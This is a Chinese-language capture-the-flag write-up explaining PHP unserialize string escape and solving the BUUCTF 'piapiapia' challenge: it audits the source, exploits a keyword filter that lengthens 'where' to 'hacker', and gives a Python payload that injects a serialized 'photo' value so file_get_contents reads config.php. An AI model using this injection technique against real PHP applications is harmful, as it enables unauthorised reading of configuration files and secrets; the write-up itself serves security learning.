当反序列化到足够的长度时,后面的数据会被扔掉。
来一个小实验简单说明一下:
<?php
$a[0] = "hello ";
$a[1] = "world!";
$tmp = serialize($a);
echo $tmp . "<br>";
var_dump(unserialize($tmp));
?>
输出:
a:2:{i:0;s:6:"hello ";i:1;s:6:"world!";}
array(2) { [0]=> string(6) "hello " [1]=> string(6) "world!" }
如果我们将序列化后的字符串改一改:
a:2:{i:0;s:6:"hello ";i:1;s:6:"hacker";}";i:1;s:6:"world!";}
输出就会变成这样:
array(2) { [0]=> string(6) "hello " [1]=> string(6) "hacker" }
多出来的那些字符就给舍弃了。
下面来一道题目来具体操作一下吧。
BUUCTF-piapiapia (0ctf_2016_unserialize)
进去后扫一波目录,发现 www.zip
目录下有源码。
简单审计源码发现,config.php 文件里有 flag :
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
profile.php 文件里有危险函数 file_get_contents
,并且还有反序列化。
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
查找一下,发现在 update.php 中序列化了这四个变量:
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
并且这些变量都是可控的。
跟进这个 update_profile
函数,发现这个函数调用了一些 waf :
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
可以看到 waf 将一些关键字 'select', 'insert', 'update', 'delete', 'where'
替换成了 hacker
。
注意到 where
和 hacker
的字符数量不同,这里就存在反序列化字符逃逸了。
那么整个流程就出来了:通过传入恶意字符串导致 config.php 逃逸,从而使 photo 变量的值为 config.php ,再通过 profile.php 中的 file_get_contents 函数来读取 flag 。
最后一个问题就是对四个变量的过滤了。观察可以发现 nickname 的过滤用数组就可以绕过:preg_match 遇到数组会返回 false ,strlen 也可以通过数组绕过。于是构造 payload:
# encoding: utf-8
s = '";}s:5:"photo";s:10:"config.php";}'
l = len (s)
a = "where" * l + s
print (a)
访问 profile.php 即可拿到源码,得到 flag 。